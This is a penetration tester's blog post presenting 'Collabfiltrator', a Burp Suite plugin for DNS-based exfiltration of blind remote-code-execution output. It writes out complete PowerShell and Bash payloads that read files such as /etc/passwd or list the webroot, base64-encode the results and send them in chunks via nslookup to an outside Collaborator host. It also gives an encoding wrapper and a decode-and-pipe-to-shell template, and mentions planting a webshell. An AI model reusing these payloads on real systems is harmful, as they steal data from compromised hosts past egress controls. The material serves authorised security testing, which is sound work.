During one of my recent penetration tests, I was able to achieve blind remote code execution on a target, however, due to egress filtering, I was unable to get any reverse shells out through commonly allowed outbound ports (e.g. 80/TCP, 443/TCP, 8080/TCP, 53/TCP, etc).

Still, I knew I had RCE because i could successfully execute sleep commands and was able to catch DNS lookups over port 53/UDP using Burp Suite’s Collaborator Client.

I observed that I could also catch requests for subdomains of burp collaborator clients as well, when looking up collaborator domains, such as the one here:

nslookup testcat.snj3exs0opxac6hmrkuhauh5dwjm7b.burpcollaborator.net 1 nslookup testcat . snj3exs0opxac6hmrkuhauh5dwjm7b . burpcollaborator . net

That’s when it dawned on me that exfiltration over DNS could be an attack vector, even if it’s just enough to show me the output of

1 dir C : \ Inetpub \ wwwroot

so I can find the path to the webroot to write a webshell at the very least.

I went to work Googling for what others have done in this same situation and was surprised to find very little. I did however stumble across an excellent detailed write-up by 0xdf on how he leveraged DNS lookups to exfiltrate the output of remote code execution on a retired Hack the Box called Ethereal.

While this post gave me some strategy, I ran into some of the same common issues with exfiltration, such as spaces and special characters. Instead of messing with padding, I decided to go a different route: base64 encoding.

Base64 is an excellent method of encoding data for transportation, and quickly decoded using readily available tools. When the length of the unencoded input is not a multiple of three, the encoded output must have padding added so that its length becomes a multiple of four. Base64 makes use of an equals sign = to indicate that no further bits are needed to fully encode the input. Additionally, Python’s base64 library makes use of RFC 3548, which uses a plus symbol + instead of a forward slash / , found in RFC 2045, which is used by other languages such as Ruby and Java.

While studying DNS frames, I found the maximum allowed length of a DNS name is 63 bytes per label, with a maximum of 255 bytes allowed in the fully qualified domain name (FQDN). This was something I had to take into consideration when breaking up the base64 encoded output into smaller chunks and appending them to a burp collaborator domain.

Since DNS lookups only allow A-Z, a-z, 0-9, and dashes - , nslookups including these extra characters initially failed. To account for this, equals signs were converted to dashes ( = –> - ), and plus signs were converted to the word PLUS in all caps ( + –> PLUS ), which happens to be an unlikely combination in a base64 encoded string. At the end of the base64 encoded string, I also appended an E-F “end of file” pattern to the end to mark the final DNS lookup, as some payloads were perfectly padded out and didn’t contain any equals signs on the end.

I soon realized that the servers occasionally sent out different types of lookups ( A Records, AAAA Records, etc) and data often returned out of order. To account for this, I prepended an additional “preamble” subdomain ranging from 0000-9999 to each subdomain.

e.g.

0001.yOjQyIC4KZHJ3.snj3exs0opxac6hmrkuhauh5dwjm7b.burpcollaborator.net 1 0001.yOjQyIC4KZHJ3.snj3exs0opxac6hmrkuhauh5dwjm7b.burpcollaborator.net

To reassemble the output, the preamble was stripped off, dashes and plusses were restored and the base64 output string was successfully decoded back into plaintext.

total 20K drwxr-xr-x 5 root root 4.0K Mar 16 12:42 . drwx------ 15 root root 4.0K Mar 16 12:41 .. drwxr-xr-x 2 root root 4.0K Mar 16 12:41 hardtoguessdir drwxr-xr-x 2 root root 4.0K Mar 16 12:41 reallydifficulttoguessAPI drwxr-xr-x 2 root root 4.0K Mar 16 12:42 someothervhost 1 2 3 4 5 6 total 20K drwxr - xr - x 5 root root 4.0K Mar 16 12 : 42 . drwx -- -- -- 15 root root 4.0K Mar 16 12 : 41 . . drwxr - xr - x 2 root root 4.0K Mar 16 12 : 41 hardtoguessdir drwxr - xr - x 2 root root 4.0K Mar 16 12 : 41 reallydifficulttoguessAPI drwxr - xr - x 2 root root 4.0K Mar 16 12 : 42 someothervhost

I realized that this ended up becoming a very tedious process to perform manually and decided to automate the process through creation of a Burp Suite Extender plugin. I quickly came up with the name “Collabfiltrator”, but didn’t know the first thing about creating a Burp Suite plugin, as Java is not one of my first languages.

I am well versed in Python, and luckily enough for me, I found Burp Suite supported plugins written in Python through the use of Jython. Jython is an implementation of the Python programming language designed to run on the Java platform.

I googled a few things but had a rough time getting started, until my talented coworker Jared Mclaren helped me write the basics for the GUI. After Jared provided me with a basic template to use, I took off running. For those of you interested in learning to write your own Burp plugins, I have heavily commented the source code of this in an attempt to hopefully make it easier to learn how to do this yourself.

To add support for both Linux and Windows, I ensured Collabfiltrator generated reliable Bash and Powershell payloads. I want to give a special thanks to Frank Scarpella for coming up with the reliable Windows Powershell payload baseline used in this project.

I have encoded each payload for ease of copy pasta, however I will paste below what each of the unencoded payloads look like, and break them down. Each of these examples runs the command, and sends back the base 64 encoded output in several nslookup requests.

Windows Payloads

Here’s an example of an unencoded Powershell command used for windows payloads. The d variable sets the collaborator domain and the command dir C:\Inetpub\wwwroot can be found after the ToBase64String([Text.Encoding]::ASCII.GetBytes section.

$s=63;$d=".grb3det6108z3gv9a0g4y7d73y9oxd.burpcollaborator.net";$b=[Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes((dir C:\Inetpub\wwwroot)));$b+="E-F";$c=[math]::floor($b.length/$s);0..$c|%{$e=$_*$s;$r=$(try{$b.substring($e,$s)}catch{$b.substring($e)}).replace("=","-").replace("+","PLUS");$c=$_.ToString().PadLeft(4,"0");nslookup $c"."$r$d;} 1 $ s = 63 ; $ d = ".grb3det6108z3gv9a0g4y7d73y9oxd.burpcollaborator.net" ; $ b = [ Convert ] :: ToBase64String ( [ Text . Encoding ] :: ASCII . GetBytes ( ( dir C : \ Inetpub \ wwwroot ) ) ) ; $ b += "E-F" ; $ c = [ math ] :: floor ( $ b . length / $ s ) ; 0.. $ c | % { $ e = $ _* $ s ; $ r = $ ( try { $ b . substring ( $ e , $ s ) } catch { $ b . substring ( $ e ) } ) . replace ( "=" , "-" ) . replace ( "+" , "PLUS" ) ; $ c = $ _ . ToString ( ) . PadLeft ( 4 , "0" ) ; nslookup $ c "." $ r $ d ; }

Powershell also supports UTF-16 encoding which sometimes is useful for certain injection points where input could get messed up. To convert the command to a UTF-16 payload like Collabfiltrator, you can wrap it with this:

$enc = '$s=63;$d=".grb3det6108z3gv9a0g4y7d73y9oxd.burpcollaborator.net";$b=[Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes((dir C:\Inetpub\wwwroot)));$b+="E-F";$c=[math]::floor($b.length/$s);0..$c|%{$e=$_*$s;$r=$(try{$b.substring($e,$s)}catch{$b.substring($e)}).replace("=","-").replace("+","PLUS");$c=$_.ToString().PadLeft(4,"0");nslookup $c"."$r$d;}';[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($enc)) 1 $ enc = '$s=63;$d=".grb3det6108z3gv9a0g4y7d73y9oxd.burpcollaborator.net";$b=[Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes((dir C:\Inetpub\wwwroot)));$b+="E-F";$c=[math]::floor($b.length/$s);0..$c|%{$e=$_*$s;$r=$(try{$b.substring($e,$s)}catch{$b.substring($e)}).replace("=","-").replace("+","PLUS");$c=$_.ToString().PadLeft(4,"0");nslookup $c"."$r$d;}' ; [ Convert ] :: ToBase64String ( [ System . Text . Encoding ] :: Unicode . GetBytes ( $ enc ) )

and then paste the output into here:

powershell -enc <base64OUTPUT> 1 powershell - enc < base64OUTPUT >

Linux Payloads

For linux payloads, I decided to leverage bash scripting instead of python or perl, as it is going to be widely more compatible in the majority of situations. Once again, the burp collaborator domain is set using the d variable and the individual linux command itself ( cat /etc/passwd in this example) happens right after the for j in $( part.

i=0;d="grb3det6108z3gv9a0g4y7d73y9oxd.burpcollaborator.net";z=$(for j in $(cat /etc/passwd |base64);do echo $j;done);for j in $(echo $z|sed 's/$/E-F/'|sed -r 's/(.{63})/\\1\

/g'|sed 's/=/-/g'|sed 's/+/PLUS/g'); do nslookup `printf "%04d" $i`.$j.$d;i=$((i+1));done; 1 i = 0 ; d = "grb3det6108z3gv9a0g4y7d73y9oxd.burpcollaborator.net" ; z = $ ( for j in $ ( cat / etc / passwd | base64 ) ; do echo $ j ; done ) ; for j in $ ( echo $ z | sed 's/$/E-F/' | sed - r 's/(.{63})/\\1\

/g' | sed 's/=/-/g' | sed 's/+/PLUS/g' ) ; do nslookup ` printf "%04d" $ i ` . $ j . $ d ; i = $ ( ( i + 1 ) ) ; done ;

I also base64 encoded this output for your copy pasta convenience using this template here:

echo "<linux command>"|openssl base64 -d |sh 1 echo "<linux command>" | openssl base64 - d | sh

Collabfiltrator Plugin for Burp Suite Professional

Of course that’s all fine and great if you’re interested in manually doing it, but I’ve saved you the trouble with this nifty Burp Extender plugin.

The plugin features an approximate 60 second timeout for the listener in case of large payloads, as well as a status indicator when the extension is listening for payloads.

Usage is fairly simple and elegant, allowing a user to generate a payload, execute the payload on the target server, and receive the output within Burp Suite, based on the output being exfiltrated over DNS.

The Burp plugin can be downloaded from the following Github link:

https://github.com/0xC01DF00D/Collabfiltrator

and detailed instructions on how to install it can be found at the Wiki.

I will be working on getting it into Portswigger’s bApp store directly through the app as well.

Enjoy, and if you like it, or found it useful, drop me a mention on Twitter at @Adam_Logue.